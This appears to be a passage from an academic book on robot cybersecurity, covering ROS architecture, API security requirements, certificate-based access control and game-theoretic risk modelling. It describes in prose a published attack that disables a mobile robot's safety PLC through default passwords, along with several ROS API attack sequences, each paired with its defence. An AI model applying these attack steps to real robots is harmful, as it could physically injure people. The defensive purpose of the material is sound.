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Abstract

Robotics is becoming more and more ubiquitous, but the pressure to bring systems to

market occasionally goes at the cost of neglecting security mechanisms during the develop-

ment, deployment or while in production. As a result, contemporary robotic systems are

vulnerable to diverse attack patterns, and an a posteriori hardening is at least challenging, if

not impossible at all. This book aims to stipulate the inclusion of security in robotics from

the earliest design phases onward and with a special focus on the cost-benefit tradeoff that

can otherwise be an inhibitor for the fast development of affordable systems. We advocate

quantitative methods of security management and design, covering vulnerability scoring sys-

tems tailored to robotic systems, and accounting for the highly distributed nature of robots

as an interplay of potentially very many components. A powerful quantitative approach to

model-based security is offered by game theory, providing a rich spectrum of techniques to

optimize security against various kinds of attacks. Such a multi-perspective view on security

is necessary to address the heterogeneity and complexity of robotic systems. This book is

intended as an accessible starter for the theoretician and practitioner working in the field.



Chapter 1

Introduction to Robot Security

Robotic technology has been around for many years now with its main application being in

automation where millions of robots have been deployed over the past decades. In recent

years, inflexible automation is starting to shift out of focus of the robotics research and

we move towards using robots in flexible manufacturing (marching towards lot size 1) and

intralogistics. Service robots are set out to pervade also non-industrial areas like healthcare

as well as public and private spaces. The gain in flexibility and capabilities of modern

robots has been largely fuelled by the convergence of classical computing and networking

technology with robotics. The new generation of robots cannot perform their tasks without

being connected to the outside world. Flexible manufacturing and intralogistics robots need

to be connected to manufacturing execution systems and fleet management services. Service

robots are supposed to provide more value by being connected to the cloud to retrieve

commands and updates. While the new capabilities make the areas of application for robots

broader, they also become susceptible to external manipulation. This new threat from the

cyber world has not yet been sufficiently addressed up to now.

In this book, we review the causes of robot insecurity also reflecting the underlying causes

like complexity and market pressure. We present the vulnerabilities and potential fixes of

the most important software framework in robotics. Then, we describe modern approaches
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to securing robots including processes and standards but most importantly also present the

potential benefits promised by the introduction of quantitative security methods.

1.1 The Need for Cybersecurity in Robotics

A robot is in general a complex machine which is by itself difficult to design, build and

program. The main focus when building a robot is in making it reliable and safe. Security

is often of a lower priority since it adds even more complexity to building the robot. In

addition, cybersecurity has traditionally not been a concern when designing or using robots

since classical industrial applications of robots did not require any connectivity to the outside.

With the current trend towards connected robots, however, a technology that is not fit for this

trend meets all the threats that come with connecting robots. Generally speaking, today’s

robots are easy prey even for less skilled attackers since security achievements that have been

successfully used in the IT area in the past three decades like firewalls, hardened endpoints,

or encrypted communication are typically not part of a robotic system. In addition, a

security-oriented mindset is also hardly taught in the education of roboticists.

1.1.1 What are special requirements for cybersecurity in robotics?

In general, cybersecurity for robotics draws from the methods of IT-security. However,

there are specialties in robotics, that need additional consideration [76]. First and most

obviously, robots are cyber-physical systems and as such, they have a representation in the

physical world. This yields two security-relevant aspects. First, robots can be physically

manipulated. Too often, we find exposed network- or USB-ports in robots that can easily

be exploited by an attacker. This is especially problematic with mobile robots that move

autonomously in little-controlled areas. Second, robots can have significant impacts on the

physical safety of persons around them. In general, the regulations for robot safety are very

strict to prevent any human harm by a robot. However, much of the required safety functions
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Figure 1.1: A logical overview of the internals of a MiR-100 robot (from [138])

can be attacked remotely thus, effectively rendering the safety methods useless. Despite this,

safety regulations do not (yet) require security measures to be put into place. Section 1.1.1

shows a PoC attack that demonstrates the seriousness of this issue.

Robots that are used in automation are also aimed at high availability. This means that

they should preferably non-stop. Thus, as it is common in OT, industrial robots are not

commonly supplied with regular updates that could fix vulnerabilities.

A PoC to remotely disable a robot’s safety subsystem

A practical attack on a robot’s safety subsystem has been presented in [138]. The target of

the PoC was a mobile robot for transport tasks in the industry. The safety system of the

robot is responsible to stop the platform before it hits an obstacle. This is realized using

safety-rated laser scanners that are connected to a safety PLC that cuts the power to the

motors in case an object is too close to the robot. Figure 1.1 shows a logical overview of the

aforementioned components and their interconnections.

Due to several misconfigurations and negligence of standard security procedures (like

changing default passwords), it is possible to retrieve, manipulate and re-upload the safety

program logic running on the dedicated safety PLC in the robot. The robot itself hosts a
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WiFi hotspot that uses a default password. Access to the WiFi also provides access to all

connected devices since no network separation policy is in place. Thus, an attacker could

easily gain access to the robot’s internal network. The safety PLC is connected to the robot’s

internal network. During its integration, the default password required to upload a program

to the PLC was not changed. The attacker can access the PLC via WiFi and download the

program stored on it. After a simple change that renders the laser scanners’ inputs useless,

the program can be re-uploaded. From this point on, the robot will still detect obstacles but

it will not stop for them. Since those robots can carry up to 250kg, they pose significant

health risks when they collide with a person. Note, that in course of the modifications, not

only the safety laser scanners but also the emergency stop can be rendered useless.

The vulnerability described has been acknowledged by the robot manufacturer and was

fixed in the meantime. Still, it shows how easily robots can be attacked and that establishing

security practices in robotics is highly necessary.

1.2 Overview of Security Challenges and Solutions

Robotic security adds a dimension of physical interaction to the requirements of general

information security. Contrary to classical protection of data from theft, manipulation, etc.,

a physical consequence of a data breach is usually not in the center of attention there, but

not so for robotics. The intended close contact, up to collaboration, with humans, adds

its own set of security requirements beyond the classical CIA+ (confidentiality, integrity,

availability, and authenticity), and also induces ethical challenges. Those get more involved

by the fact that robot systems are often heterogeneous, making the assignment and taking

of responsibilities difficult in light of many actors being involved.

This book is focused on the technical possibilities of implementing security, reaching up

to industrial standards, and best practices to follow when building a secure robot. Chapter

2 sets the ground by reviewing the ROS as a popular (de facto standard) platform to
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run robot systems, thereby pointing out some threats and countermeasures that can be

addressed “classically” (i.e., using standard security mechanisms). The distributed nature

of robotics, however, calls for a broader view extended to cover the interaction of possibly

many components, which has its challenges. Among them are the necessary division of

views (dividing data layers vs. computational graphs, etc.) and the treatment of multi-

agent systems as groups in which possibly many players can become hostile or otherwise

deviate from the intended orchestration. We discuss security along these lines in Chapter

3. Experience with vulnerabilities and successful attack reports have led to the development

of various tools and methods to help designers of a robot system with testing and general

security management, and Chapter 4 is devoted to an introduction and overview of these

practices. Conditional on an understanding of the overall diversity and interdependency in

robot systems, partially gained with help of tools, but also proper design processes (e.g.,

DevSecOps), one can proceed further by defining mathematical models to quantify and

thereby optimize security systematically, as an account for the tradeoff between investment,

time to market pressure, and the security achievable under budget and time limitations.

This model-based economic approach to security, see Figure 1.2, including the technical and

organizational practices relative to security cost-benefits, is what game-theoretic techniques

can help with.

Chapter 5 provides a primer to game theory, starting with an introduction by the example

of a game describing a penetrating adversary versus a defending security officer, to illustrate

the overall idea of how mathematical games are applicable to security. From this, we take

a deeper dive into the variety of game-theoretic models designed for security, and how to

combine them into bigger models of robot systems. The diversity and heterogeneity of

a robot system are thereby matched with the (equal) diversity of game-theoretic security

models tailored to many different scenarios of attack and defense. Chapter 5 is meant as a

starting point here.

We remark that this book does not intend to cover non-technical matters like ethics or
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Figure 1.2: This book investigates challenges, quantitative modeling and the practice of
cybersecurity issues in robotic systems.

the generalities of development processes, staff recruiting and human resources security, or

legal issues like liabilities or insurance. Without doubting their relevance for robot security,

their discussion and treatment are out of our scope here. A survey of all known threats is

not the focus of this book. We refer the reader to the lot of existing work in this direction,

partly coming from other domains (as provided by [48], [132] and others) but also related

explicitly to robotics, such as the work of [69] and the [91]. Since robots are special cases

of general distributed cyber-physical systems, threat taxonomies from this larger area apply

well for robotics too. Furthermore, risk management standards like ISO31000 or IEC-62443,

discussed in Section 4.4, provide threat categorizations and ways to systematically identify,

classify, and address cyber-security along all virtual and physical aspects. We thus refrain

from deep dives into taxonomies here, for the sake of discussing a useful practical tool

being the classification of threats along with a common set of attributes to rank threats

and vulnerabilities in terms of severity, efforts to fix, and other security management related

aspects. We pay explicit attention to such methods, specifically the RVSS [75] as an extension
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to the popular CVSS, later in Section 4.2.

1.3 Need for Quantitative Methods

A robot is a system of systems. One that comprises sensors to perceive its environment,

actuators to act on it and computation to process it all and respond coherently to its ap-

plication [142]. We can divide robotic systems into two layers, as illustrated in Fig. 1.3.

One is the OT layer which consists of devices and components that directly monitor and

control the mechatronic processes and events, such as autonomous vehicles, robotic arms,

and humanoids. The other one is the IT layer which consists of information and commu-

nication devices that collect, communicate, and process data, such as computer networks,

cloud computing, and servers. Many robotic system designs often view safety as one of the

major OT-level system criteria. The design for safety is an integral part of the systematic

methodologies in the design process. On the contrary, cybersecurity at the IT-level is not

yet a key factor considered in the design of robotic systems. When security issues arise, add-

on solutions such as patching and firewalls are introduced to harden the system security.

However, these solutions can be easily evaded by a sophisticated attacker as we have seen

in recent APT. An attacker can leverage social engineering, stay stealthy in the system for

a prolonged period of time, and learn the system configurations to acquire credentials and

escalate privilege to reach the asset. The defective IT-security is a potential cyber hazard

for OT-safety.

It is essential to see that OT-level safety and IT-level security are intertwined. The ig-

norance of IT-security will enable an attacker to take over the control of OT and create

human-induced devastating incidents. Reversely, the goal of IT-security is to provide the

necessary support to OT to provide performance assurance and dependability. It is insuffi-

cient to focus merely on OT-level safety issues and adopt perfunctory solutions to protect

the IT from advanced attacks.
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Figure 1.3: The integration and interaction between IT and OT in robotics

Quantitative metrics and frameworks play an essential role in a formal understanding

of the IT/ OT interdependencies and the development of risk assessment tools and security

solutions. Game theory is a promising scientific method to address this need. Game theory

has a long history since the 1950s and a rich set of analytical and computational tools that

can be used to capture the competitive and strategic behaviors between an attacker and a

defender. The solid mathematical foundation of game theory provides a rigorous framework

to analyze and predict the outcome of the interactions between an attacker and a defender.

Game theory provides a theoretical underpinning for the analysis of this tradeoff between

security and performance under a prescribed set of attack models. A standard normal-form

game is composed of three elements: players, action sets, and utility functions or preferences

over action sets. The action sets can encode the system constraints, while the utility function

can capture the IT and OT performances and their interplay. The interdependencies between

the IT and the OT can be formally described by specifying the preferences over the set of

joint IT/OT configurations and designs.

Not only does the game framework encode the key design features, the equilibrium con-

cept of games but also provides a predictive outcome of the interactions, where no parties
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have the incentive to deviate from their actions unilaterally. The analysis of the equilibrium

solution enables the quantitative risk assessment in a strategically adversarial environment.

In addition, the analysis of equilibrium strategies of the game leads to a new paradigm of

security solutions. Instead of aiming for a perfect security solution, which is either cost-

prohibitive or practically impossible, game theory enables the design of best-effort IT-and-

OT-security by taking into account the security objectives of the systems, the system resource

constraints, and the attacker’s capabilities.

Modern extensions of the game-theoretic framework by including uncertainties, epistemic

modeling, and learning dynamics enable the creation of sophisticated defense mechanisms

such as autonomous and adaptive strategies, moving target defense, and cyber deception.

The defense mechanisms can go beyond the traditional manual and static configurations to

dynamic, data-driven, and automated operations of defense. In addition, the game models

can be sequentially composed to capture the multi-stage and multi-phase nature of APT.

Each game model represents a modularized interaction in a subsystem. The composition of

multiple games pieces together a holistic view of the multi-dimensional dynamic interactions

in the entire system, which include the ones between the defender and the attacker, as well

as the ones between subsystems. The holistic game is also called games-in-games, where one

game is nested in the other games. This structure enables the defense to localize the attack

behaviors by zooming into a local subsystem and optimize the system-wide performance by

zooming out to view the system holistically.

Chapter 5 will first provide an introduction to game-theoretic methods by an example of

an attack-graph game. The second part of the chapter will present an overview of security

games and their applications. One important class of games that are useful to address

sophisticated attacks is the multi-stage and multi-phase security game. Game models for

multiple subsystems at different phases can be composed together to address the complex

security problems holistically. The chapter presents sever to elaborate on game-theoretic

methodologies. One case study presents a cyber-physical signaling game to develop an
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impact-aware trust mechanism that can reject high-risk inputs and mitigate the physical

damages. The second case study introduces a jamming game between a jammer and a team

of robots that aim to reach consensus through mutual pursuits and communications. A multi-

stage game is formulated to analyze the equilibrium and develop anti-jamming strategies.
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Chapter 2

Cyber Issues, Security Architectures

and ROS Vulnerabilities

Many technological advancements of the past decades have now also converged in the field

of robotics. Mainly, the large-scale use of general-purpose computing techniques (hardware,

operating systems, and software) has dramatically sped up the development and increased

the flexibility and potential of robots. This trend counters the approach of robot manufac-

turers of the past decades to aim for locked-in, all-in-one solutions comprising the robot,

its controller, and the corresponding programming environment. As now robotics can be

approached with methods from general-purpose computer software development, also the

advanced approaches developed therein are starting to dominate. In modern robotics, one

framework dominates the development efforts like no other.

2.1 The Robot Operating System

The ROS [107] is a middleware system that has become the most popular platform for robot

development. It coordinates multiple, distributed functional units called nodes. Nodes are

individual processes that have their own lifecycle and are orchestrated into an application.

The central entity for coordination and brokerage is the ROS master. This is a dedicated
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process running on one of the hosts in the ROS network which has a directory of all nodes

and the data they provide or consume.

At its core, ROS supports the publish-subscribe communication pattern. This pattern

can be used to decouple components from each other and use well-defined interfaces to

connect them. Publish-subscribe in ROS is topic-based i.e., ROS creates a virtual bus for

each topic that subscribers can attach to receive the published information. As an example,

a ROS sensor node that retrieves images from a camera will publish this information on a

specific topic. All nodes that require this data can subscribe to it. For both, the publisher

and the subscriber it is transparent who the respective communication partner is exactly.

Thus, it is easy to exchange nodes in a ROS network as well as it is easy to add new ones or

re-purpose existing implementations to new applications. On startup, a publisher node will

contact the master and declare which topics it publishes. Similarly, a subscriber will tell the

master which topics it requires. As soon as there is a publication-subscription match, the

master contacts the subscriber with a list of potential publishers for its topic. The subscriber

will then contact the publisher and further communication is done bilaterally between the

two nodes without the inclusion of the ROS master. In this communication, ROS supports

TCP as well as UDP (called henceforth ROSTCP and ROSUDP respectively).

In addition to publish-subscribe, ROS supports client-server-style communication using

services. A service has a unique name and can synchronously be queried by a client. A

service can be used to e.g., retrieve or set a piece of specific one-time information like a state

or a configuration. The ROS master keeps an index of all registered services which can then

be queried by a service client to lookup connection information for a specific service.

The third, logical, communication pattern in ROS are actions. Actions are used to

encapsulate long-running, preemptable tasks like sending a mobile robot to a certain location

in a room. Actions are realized using five different publish-subscribe topics. The action goal

is sent from the action client to the action server to trigger the action. The action server will

provide a state and feedback to the client while the action is running (e.g., the information
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that the action is being executed along with the current location of the mobile base while it is

moving). A result topic will inform the client of the final outcome (e.g., the final position of

the robot). A dedicated cancel topic can be published by the client to terminate the ongoing

action. Since actions are wrapped around the publish-subscribe topic, the aforementioned

brokerage process between publisher, subscriber, and ROS master is also performed for each

of the action topics.

Besides its inherently distributed—and thus scaleable—nature, ROS also provides an

extensive and ever-growing package repository of robot drivers, algorithmic packages and

tools that greatly facilitate the development of robot applications.

The main programming languages in the ROS environment are C++ and Python. But

since the ROS communication interfaces are defined independently of any language, there

are various other implementations e.g., for Java, C#, JavaScript, and others. While this

results in broader support for ROS, it also causes the implementations to sometimes diverge

from each other (not even C++ and Python versions are identical in functions) and have

compatibility issues. This might also be a factor in the reluctance of the ROS developers to

fix the vulnerabilities mentioned in the next sections. In order to fix those, changes to the

communication structure would be required in all existing implementations causing immense

efforts.

As of 2021, according to the official wiki1, ROS is compatible with around 170 different

robots or robot series (e.g., a whole range of ABB robots is subsumed into one entry) for a

wide variety of purposes including industrial manipulators, mobile, aerial and marine robots.

2.2 Vulnerabilities of the Robot Operating System

As of its initial version, ROS was not designed with security in mind [78]. The underlying

publish-subscribe mechanism is naturally open in both directions, letting all components

of a system register as publishers, or subscribers, or both. The absence of mechanisms to

1https://robots.ros.org/
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restrict the registration under any of the two roles creates flexibility when it comes to adding,

removing, or replacing components in a system, but at the same time induces the obvious

likewise vulnerability of malicious components or messages coming in easy.

To see where and how security in ROS looks like, let us adopt the abstract view on ROS

being a communication platform over which three basic classes of entities talk to each other

[36]:

• the ROS master, who manages parameters, service registration, and other stuff, as a

central node with essentially a unique (physical) appearance

• ROS talkers, which can be components of diverse nature and physical form, unified by

the common behavior of publishing topic data,

• and ROS listeners, which like the talkers are not bound to a specific physical or logical

appearance, and whose role is the reception of topics on which the talkers publish.

The term node will hereafter comprise components from all three of the above types.

The division of entities as outlined above implies a diverse API, whose division is not

according to the above classes of entities, but rather w.r.t. the kind of action. We distinguish

API for the master from those of slave nodes, comprising publishers and subscribers, and as

a third type, the parameter API, whose purpose is the management of global configuration

parameters. The associated server instance for the parameter API runs along with the ROS

master as a centralized service. Having this central point allows for notifying nodes about

changes in parameters by invoking callbacks for namespaced parameter keys, which nodes

may register for.

Master API: The master’s role is to act as a registration authority, perhaps also as an

IDM, but essentially is there to manage parameters and services existing in the system. As

such, it offers at least the following types of calls2:

2http://wiki.ros.org/ROS/Master_API

14

http://wiki.ros.org/ROS/Master_API


• Registration and unregistration of subscribers, publishers, and services

• Directory services (lookups) for nodes and services, which require or return URI of the

respective nodes or services, according to [72]

• Queries to retrieve the internal state of the master, to get details of the entire topology

of the ROS system, including all publishers, subscribers, and services, and deep details

thereof.

Parameter API: The parameter server is a part of the ROS master. It provides nodes

with pre-defined values for configuration items. This central storage makes it easier to

configure and reconfigure a ROS system. As expected, the functions provided herein are3

• setters and getters for parameters,

• but also the possibility to delete parameters,

• queries about existence (has), search for (search), or listing (list) the currently

known parameters,

• and finally (and most importantly for attackers), the ability to be notified upon param-

eter changes. That is, a node can call subscribe to provide a callback routine (inside

the node) that the parameter server will call upon every change of the parameter value.

Of course, calling unsubscribe terminates these notifications.

The Slave API Both, publishers and subscribers, maintain this API4 for receiving call-

backs from the master, negotiating connections with other nodes, and do system calls for

orchestration and monitoring. In detail, the API provides the following:

• update callbacks to notify subscribers about activities by publishers, or changes of

parameters

3http://wiki.ros.org/ROS/Parameter%20Server%20API
4http://wiki.ros.org/ROS/Slave_API
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• request calls for topic transport information. Since the update callback is merely

a notification, it remains the subscriber’s duty to actively contact the publisher for

details on the topic, establish a connection over ROSTCP or ROSUDP, and open a

separate channel and socket for the data transmission.

• getters for various purposes, mostly related to troubleshooting and status queries (like

subscriptions, publications, URI, etc.)

• shutdown, as a signal for a node to self-terminate. This signal may be required by the

master to resolve namespace conflicts or to replace malfunctioning nodes with others

or new ones. This latter purpose of “self-healing”, however, requires an explicit node

health monitoring that ROS does not ship with, so it must be established indepen-

dently and in addition.

The latter two classes of API calls are particularly useful for hacking ROS, since the get-

ters for debugging and troubleshooting deliver rich information about the system, and the

shutdown signal has an obvious use if it is not restricted to the master, and no other node.

2.3 Securing the API

The bottom line is that all API calls need security in at least the following aspects:

Integrity: almost self-explanatory, it is necessary for a node when transmitting or receiving

data to safely rely on its correctness. From a cryptographic perspective, we distinguish

intended from unintended modifications, and (cryptographic) checksums can counter-

act only the latter case of modification. Thwarting adversarial influence on parameters

needs stronger concepts, but can in many cases be built into an authentication mech-

anism.

Authenticity: once a connection has been established, it is vital for both parties to assure

the other entity’s identity and, more importantly, its eligibility for the intended purpose
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of the connection. For example, if a component registers as a sensor, there is no

assurance for a subscriber that whatever information sent out is really coming from a

device that is a sensor, or not. Plain authenticity is not enough here, since understood

as the verification of identity, the cryptographic assurance that device X published on

topic T is in itself no certificate that X is capable of speaking about T . Such assurance

calls for an independent trusted party that certifies a component as serving the claimed

purpose or filling the presumed role, whether this may be the role of a sensor, an actor,

some general device, and – perhaps most importantly – the ROS master itself.

Standard cryptographic mechanisms can perfectly handle this job since cryptographic

certificates can provide arbitrary assurances about the type, role, rights, or other con-

ditions guards of an API call. We will postpone this discussion until later, and for

now, assume that the identity of a node has been verified5.

Authorization/Access control: not all API calls are admissible for all nodes, and the

decision of whether or not a call is legitimate requires an assured ID. For example, only

the master should be allowed to send a shutdown signal. Likewise, a sensor is typically

an entity that only emits information, but does not process it. As such, its rights

should be restricted to publishing, but not subscribing. Reality is in most instances

more complex than the simple classification of these two examples, but the bottom line

is that the construction of a ROS system should respect separation of duties, and need-

to-know principles, whose enforcement is up to access control mechanisms. Maintaining

access control lists, granting and revoking rights is a separate administrative duty that

may be taken over by the ROS master upon registration of nodes, but can equally

well remain a duty of an external (human) system operator.

Confidentiality: while seemingly an obvious requirement, it may be considered here as

5it is necessary to distinguish the verification of identity from its determination. The latter is the (distinct)
notion of identification, whereas the mere verification of a claimed ID is authentication. Neither implies the
other in general.
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the lowest priority goal, since many signals exchanged between ROS nodes may not

classify as sensitive information, or may self-disclose instantly upon their effect. For

example, if the signal is about a robot arm to move along a certain trajectory or stop

in presence of an obstacle, the physically visible effect will indicate what the (perhaps

confidential) signal has been.

An implementation of such cryptographic protection needs to be done with the two-layer

API structure in mind that ROS has, which instantiates the above requirements individually

different depending on the layer:

• On the control layer for signaling, confidentiality may not be a top priority, since

the physical reaction may reveal the signal anyway. However, authenticity and access

control are most crucial. Otherwise, it may be possible to tamper with the ROS

communication graph (e.g., isolating publishers or presenting fake publishers to sub-

scribers)

• On the communication layer on which the actual information flows, the priorities of

the above requirements may change accordingly, for example, putting integrity higher

up on the importance list.

Overall, securing the API is generally insufficient, since it can in any case only address the

“cyber”-part of the cyber-physical system that a robot is, and hence is only half of the

story. A comprehensive security design on the level of orchestrating mechanisms appropri-

ately is required and postponed until Chapter 3. To illustrate cryptography as a core, yet

basic, mechanism, let us continue our deep dive into this example for the next two sections,

exhibiting their efficacy in Section 2.3.3.

2.3.1 Cryptographic Certificates

Certificates are a concept from asymmetric cryptography, and loosely speaking are bindings

of keys to identities, not per se saying how identity is defined or understood. Generically,
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any combination of attributes or other characteristics that uniquely distinguish an individual

or entity inside a larger well-defined group can serve as an identity. The important point

herein is that the term is always related to a group, relative to which the identity is one, and

the same ID can lose its identifying property once the group changes by losing or gaining

members. Given that ROS is a flexible and open system, the ROS master appears as

the natural candidate point to establish an IDM. Once identities are defined and available,

certificates can be issued. In its plain form, contains at least the following entries:

• information about the certificate owner’s ID; here a device or component

• one or more cryptographic keys that shall be linked to the identity

• a digital signature from a trusted authority, called a CA, which is verifiable via a widely

known (separate) public key.

To make our notation more rigorous and compact, we will use angled brackets to denote

tuples of information items that are digitally signed under a key added as a subscript. That

is, a certificate would be the above quadruple, singed under the public key pkCA of the CA,

and denoted as

〈owner, key(s)〉pkCA
(2.1)

Continuing the notation, we will write pk to mean public keys, sk to mean private keys, which

is primarily but not exclusively needed for verification of digital signatures here. The terms

“public” and “private” are hereafter and throughout this article reserved for asymmetric

cryptography, whereas the variable k, coined a secret key, will exclusively be used to mean

symmetric cryptographic schemes. We will keep and not change this notation in the whole

work in the context of cryptography, where the user will be unambiguous.

For encryption of a message m under a key k or pk we will use the likewise notation

JmKk, resp. JmKpk
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where the k or pk respectively points out the encryption as symmetric (k) or asymmetric

(pk). Note that this notation likewise applies for the symmetric counterpart of a digital

certificate, which is a MAC (see, e.g., [46]). While (2.1) is computed by the signing function

of the public key signature scheme of choice (e.g., DSA [106], RSA [62] or others), the

symmetric sibling would be hashing the (reversible) concatenation of data items under the

respective secret key.

Standardized certificates extend the above list by a diverse set of additional informa-

tion, which in our case can include arbitrary additional information about the registering

component. Returning to our previous discussion on access control and its preceding au-

thentication, adding security to the ROSAPI can proceed as follows, presuming a central

CA that all parties, here being the vendors of components, and the administrative parties

running the actual ROS system:

1. upon manufacturing, a device receives information about its type (sensor, actor, etc),

a unique ID, and any other information relevant or needed by the system engineers.

2. upon installment of the new component in the ROS system, the first step after phys-

ically connecting the device is registering it with the ROS master. To this end, the

ROS master would perform the following steps:

(a) check the certificate that the device brings in upon registration, to verify that the

device is of an admissible type, and to determine which rights according to the

security policy, the new component should receive. This granting or revocation of

rights can be based on the device type, group that it is assigned to, or role that

it should take in the system. Essentially, the process can resemble the standard

approach of RBAC which we do not describe in deeper detail here.

(b) once the ROS master has compiled a white-list of admissible API calls, it can

itself issue a certificate for the device in which this list is an integral part so

that upon every subsequent API call, the device can show the certificate that
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it received from the master, as an authorization token to make this call. This

finishes the cryptographic part of the registration. The certificate would thus

contain the following information, wrapped in a digital signature issued by the

master:

〈device ID, {list of permitted API calls}〉pkROS-master
(2.2)

The computational cost of public-key cryptography may come in negative here, since the

cryptographic validation of certificates each time an API call is made may significantly slow

down the overall system performance. To escape this issue, one can use the first-time contact

to establish a shared secret, and subsequently resort to symmetric methods of authentication

by MAC. The overall narrative is that the certificate from the vendor is one-time required for

the master to validate the component and determine its rights in the ROS system. Likewise,

upon the first API call to another component would need a cryptographic verification of the

caller’s rights as issued/granted by the ROS master via the caller’s certificate. Once this

verification succeeded, the component can run a secret key exchange (e.g., a Diffie-Hellman

protocol or others), with the caller to establish a shared secret that it jointly stores together

with the list of permitted API calls. Let us denote such a secret shared between components

A,B by kA,B. It allows for fast verification of permission using symmetric encryption only.

The scheme is generally an instance of challenge-response authentication:

1. The caller A picks a random value r and sends its API call api-call, together with r

encrypted under kA,B, i.e., B receives the API call message

Japi-call, hash(api-call)Kka,b

in which hash is a cryptographic hash function. The purpose of it is to make false

decryption recognizable by a mismatch of the checksum that the callee would compute

after decrypting the message. If the api-call is itself subject to some redundancy

scheme, say, if there is a textual representation of the called function or others, then
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the additional checksum may be spared; yet it is generally advisable to add such

redundancy.

2. A correct decryption of the call is already an implicit authentication of the caller at the

same time since the key under which the call correctly decrypts is uniquely associated

with the caller. Thus, there is a binding of the call to the caller, and on the receiver’s

side, the key is in turn bound to the list of permitted API calls, thus before executing

or responding to the call, the receiver can dig up the list of permitted calls from (2.2)

and check if the called method is among them.

Summarizing the conceptual protection, we have the following sequence:

authentication (identity verification) → authorization (check of rights by the ROS master) →

registration (along which the ROS master issues a certificate to the ROS node as

authorization token)

with the first API call proceeding along the sequence:

verify the certificate of the caller → establish a shared secret and store the API permissions →

check permissions and respond to call

and all subsequent (second and later) calls processing along the faster lane:

symmetrically decrypt the call under the secret shared with the caller’s ID → load the API

permissions of the caller → check permissions and respond to call.

This presentation is intentionally generic and in a practical implementation needs more

details, such as adding the caller’s and receiver’s identities in the transmissions. An aspect

left untouched so far concerns key and certificate management, which we look into next.

2.3.2 Certificate and Key Management

Managing credentials is human labor to the extent where it concerns certificates, which have

an expiration date. Certificates need to be stored in a secured location, to prevent them
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from adversarial replacement; a TPM offers a suitable hardware-based solution for this [34].

Other certificates are in the above process directly computed by the ROS master itself,

which is yet best implemented in the TPM as well, as it requires the storage and secured

use of private signature keys.

Registration of Components: it is generally advisable to pursue a whitelisting approach

in the registration checks that the ROS master runs. That is, the ROS master should store

(non-malleably) a list of permitted devices, against which a newly registered component is

checked, and rejected upon not being on the white list. Otherwise, if the device is admissible,

the ROS master can open a TLS session to secure the communication with the new device,

using a security suite with forward secrecy (e.g., ECDHE-ECDSA-AES256-GCM-SHA384,

i.e., Diffie-Hellman key exchange, digital signatures, symmetric encryption by the AES [79] in

GCM [28], and with hash being the SHA algorithm with 384 bit output [45, 46]). The point

of forward secrecy herein means that the keys are short-lived, in the sense that the discovery

of a key for one session does not help to decrypt any follow-up sessions. In other words,

the key agreement needs to be repeated from time to time, leaving the long-term secrets

to be only the private signature keys, which no component other than the ROS master

needs to store. Essentially, the public key of the new device is only used to authenticating

the parameters of the key agreement (Diffie-Hellman over elliptic curves in this example),

but not for the encryption of the session key for the registration process (i.e., symmetric

encryption of messages for this communication). Once the TLS session is established, the

ROS master can replace all pre-installed keys, a.k.a. transport keys, and certificates with

new ones. A malicious manufacturer can, depending on the key exchange mechanism, still

record all messages transmitted during the replacement of the transport keys can thus get

hold of the new keys (and certificates). To prevent this, one needs to run the key replacement

protocols in a closed environment, e.g., under the supervision of the system administrator

and other technical protections.
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Unregistering of a Component: the event of unregistering a component is more tricky

since if symmetric encryption is there to replace a certificate-based authentication (for effi-

ciency reasons), the involved keys are only shared between two nodes A and B, while node

B only actively interacts with the ROS master for the de-registration, but not with node

A. To resolve this, we can make use of the API callbacks to get notified about a parameter

change. Specifically, once a component B was registered with the ROS master, the master

can maintain a status parameter for this component, on which a component A that B later

makes contact with can place a hook to receive a callback upon a status change related to B.

This callback, in turn, would require A to present B’s certificate also to the ROS master,

as assurance that (i) B has sought contact with A, and (ii) that A is hence permitted to

receive the respective callback. If the status of B changes upon a de-registration, and A

receives the respective call from the ROS master, A can simply remove the stored secret

key kA,B, to effectively blacklist the de-registered device. Similarly, the ROS master can

actively maintain a blacklist of certificate serial numbers, to which the serial number of the

certificate of B is added after the de-registration.

Using Symmetric Cryptography: Public key cryptography has the appeal of relatively

simpler key management, coming with the price-tag of shorter-lived keys and the need to

replace certificates and keys from time to time. This incurs both, an investment of time and

money, and as such could be abandoned in favor of a seemingly simpler alternative of using

symmetric cryptographic primitives. Indeed, it is possible to accomplish authentication,

confidential communication and authorization purely on grounds of symmetric cryptography,

such as done in systems like Kerberos [86], or multipath transmission and -authentication

techniques [120, 121, 178]. The latter techniques also lend themselves to quantification

of security with help of game theory [119], and the systematic optimization of the key

management in the network [110]. In light of this research, however, not having yet grown

beyond academic experimental results, we leave this road unexplored hereafter.
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2.3.3 How Defenses Work

Let us close this section with a glance at how attacks on ROS use the API, and where the

cryptographic protection would cause a failure of the attack sequence. We borrowed the

following three examples provided by [36], referring to ROS1 (i.e., not to be mixed up with

its successor project ROS 2). Note, that more attack vectors to ROS are known and can

be found in the cited literature. The attacks are action sequences between the ROS master

M, a publisher P, a subscriber S, and the adversary A.

Example 1: Stealth Publisher Attack This attack is about injections of false data into

a running ROS application. The attacker disguises itself as a legitimate publisher and issues

a publisherUpdate to replace the legitimate publishers from the subscribers’ points of view.

Figure 2.1 displays the sequence diagram, in which the unprotected call to publisherUpdate is

vital to the issue. With this call under access control and prior authentication, the attacker’s

node’s call would be rejected.

Example 2: Malicious Parameter Update Attack Here, the attacker targets a node

N and unsubscribes on its victim’s behalf to any future parameter updates, aiming at sending

those updates itself. Figure 2.2 displays the sequence diagram. Cryptographic authentication

with access control would enforce here that only the previously registering identity can later

unregister for the parameter updates. Applied to this, the attacker would have to forge its

victim’s identity to succeed in unsubscribing on N’s behalf. This either requires a forged

certificate or knowledge of the secret key shared between N or the ROS master. The latter

is only possible by hijacking the node N itself or hacking into N’s key store. In both cases,

the adversary has, effectively, become node N, at least from a cryptographic perspective on

how identities are defined (namely by knowledge of secret keys).

Example 3: Service Isolation Attack Here, the attacker directly asks the ROS master

to unregister a service, so that another node (here C) cannot access that service subse-
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Figure 2.1: Sequence diagram of a stealth publisher attack
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Figure 2.2: Sequence diagram of a malicious parameter update attack
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Figure 2.3: Sequence diagram of a service isolation attack
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quently. Figure 2.3 displays the sequence diagram Again, access control to the API call

unregisterService can prevent this.

2.4 Vulnerabilities of AI-Enabled Robotic Systems

Attacks are not limited to the interplay of the robot software and hardware components

themselves, but may also target the behavior of individual components as such. Among

these is the planning of actions, often employing AI algorithms at the core and decision-

making logic. An adversary can try to influence both in several ways, such as:

1. replacement of entire components in hard- or software with parts that s/he can control

